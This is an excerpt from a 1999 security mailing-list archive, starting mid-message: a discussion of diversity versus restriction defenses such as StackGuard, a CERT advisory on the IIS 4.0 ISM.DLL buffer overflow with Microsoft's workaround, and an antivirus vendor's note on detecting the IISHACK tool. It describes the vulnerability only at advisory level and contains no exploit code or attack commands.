attacks, etc. in OpenBSD: http://www.openbsd.org/crypto.html -d. --- http://www.monkey.org/~dugsong/ -------------------------------------------------------------------------------- Date: Wed, 16 Jun 1999 15:03:52 -0700 From: Crispin Cowan To: BUGTRAQ@netspace.org Subject: Diversity (was: IIS Remote Exploit (injection code)) Dug Song wrote: > On Wed, 16 Jun 1999, Ethan Benatan wrote: > > > Very true, and this is a terrifically important message to get out... > > Diversity makes for resilience, and vice versa. > > see stephanie forrest's work on computer immunology: > > http://www.cs.unm.edu/~immsec/ > > and to a lesser extent, random "canary" values in StackGuard: > > http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/ StackGuard came about because we investigated the approach of using diversity to resist attack, and found it to be VERY limited in effectiveness. The core problem is that when you change things, you create incompatabilities for friend and foe alike, i.e. a diversity hack strong enough to defeat an attacker is also likely to break a lot of YOUR applications. This occurs because: * The diversity hack must preserve many invariants that are necessary to keep legitimate applications running, and these invariants are often subtle and unknown, e.g. Linux applications that only work on Red Hat systems. * Simultaneously, the diversity hack must BREAK the invariants that the attacker depends on, and these invariants are mostly unknown. If you knew what they were, you would have fixed the bug :-) Having discovered that diversity is hard to make both effective and practical, we moved on to study what we call "restrictions." A restriction prohibits certain classes of behavior that are always known to be bad, e.g. changing the return address of an active function, which is what stack smashes try to do, and what StackGuard prevents. It is our conjecture that for every diversity hack that one can propose, there is a restriction hack that is easier to deploy and more effective. This has been true in practice as we try to construct security-enhancing tools. Full papers on these ideas can be found here: http://www.cse.ogi.edu/DISC/projects/immunix/survivability.html Crispin ----- Crispin Cowan, Research Assistant Professor of Computer Science, OGI NEW: Protect Your Linux Host with StackGuard'd Programs :FREE http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/ Microsoft: Putting the "lame" in "layman" -------------------------------------------------------------------------------- Date: Wed, 16 Jun 1999 16:30:12 -0400 From: CERT Advisory Reply-To: cert-advisory-request@cert.org To: cert-advisory@coal.cert.org Subject: CERT Advisory CA-99.07 - IIS Buffer Overflow -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-99-07 IIS Buffer Overflow Originally released: June 16, 1999 Source: CERT/CC Systems Affected * Machines running Microsoft Internet Information Server 4.0. I. Description A buffer overflow vulnerability affecting Microsoft Internet Information Server 4.0 has been discovered in the ISM.DLL library. According to Microsoft, ISM.DLL is the "filter DLL that processes .HTR files. HTR files enable remote administration of user passwords." A tool to exploit this vulnerability has been publicly released. II. Impact This vulnerability allows remote intruders to execute arbitrary code with the privileges of the IIS server. Additionally, intruders can use this vulnerability to crash vulnerable IIS processes. III. Solution Microsoft has released Microsoft Security Bulletin MS99-019 describing a workaround to this problem. Additionally, Microsoft is working on a patch to fix this problem; information regarding this patch will be available in the Microsoft Security Bulletin. We encourage you to read this bulletin, available from http://www.microsoft.com/security/bulletins/ms99-019.asp We will update this advisory as more information becomes available. Please check the CERT/CC web site for the most current revision. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-99-07-IIS-Buffer-Overflow.html. ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key. If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/. To be added to our mailing list for advisories and bulletins, send email to cert-advisory-request@cert.org and include SUBSCRIBE your-email-address in the subject of your message. Copyright 1999 Carnegie Mellon University. Conditions for use, disclaimers, and sponsorship information can be found in http://www.cert.org/legal_stuff.html. * "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. Revision History June 16, 1999: Initial release -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCUAwUBN2gDVnVP+x0t4w7BAQE5EwP1GxYDqIPNlqd1SzIRlgS/k8ir75NIWEly +N4QqpEjR/1xWzBiro2Z94ZXD8GTugkkjxsyQgOdzMe3iWj8apbrokA6aRfOJ+4B lth2LgpurSU8TDmuo+miSBnS7joWaLzD6q/IAfYFb5wE890Lrale27uJVq+adqB+ +U3S1Pga2Q== =iOIZ -----END PGP SIGNATURE----- -------------------------------------------------------------------------------- Date: Mon, 21 Jun 1999 12:23:27 +0300 From: Mikko Hypponen To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Re: Alert: Microsoft Security Bulletin (MS99-019) - IIS Fix Available Russ: >Microsoft have released a patch for IIS 4.0 which addresses the issues >uncovered by eEye. Also, if you want to monitor who's running IISHACK in your organisation, we've added detection of this tool (as a trojan horse) into latest updates for F-Secure Anti-Virus. This detects the original IISHACK.EXE as released by eEye with the name "Trojan.IIS_Hack". For more information, see our Virus News Updates at: http://www.datafellows.com/news/vir-news/ -- Mikko Hermanni Hyppönen, Mikko.Hypponen@DataFellows.com Manager, Anti-Virus Research, Data Fellows Corp. Integrated Solutions for Enterprise Security Tel +358 9 8599 0513 - fax +358 9 8599 0713 http://www.DataFellows.com/staff/hermanni/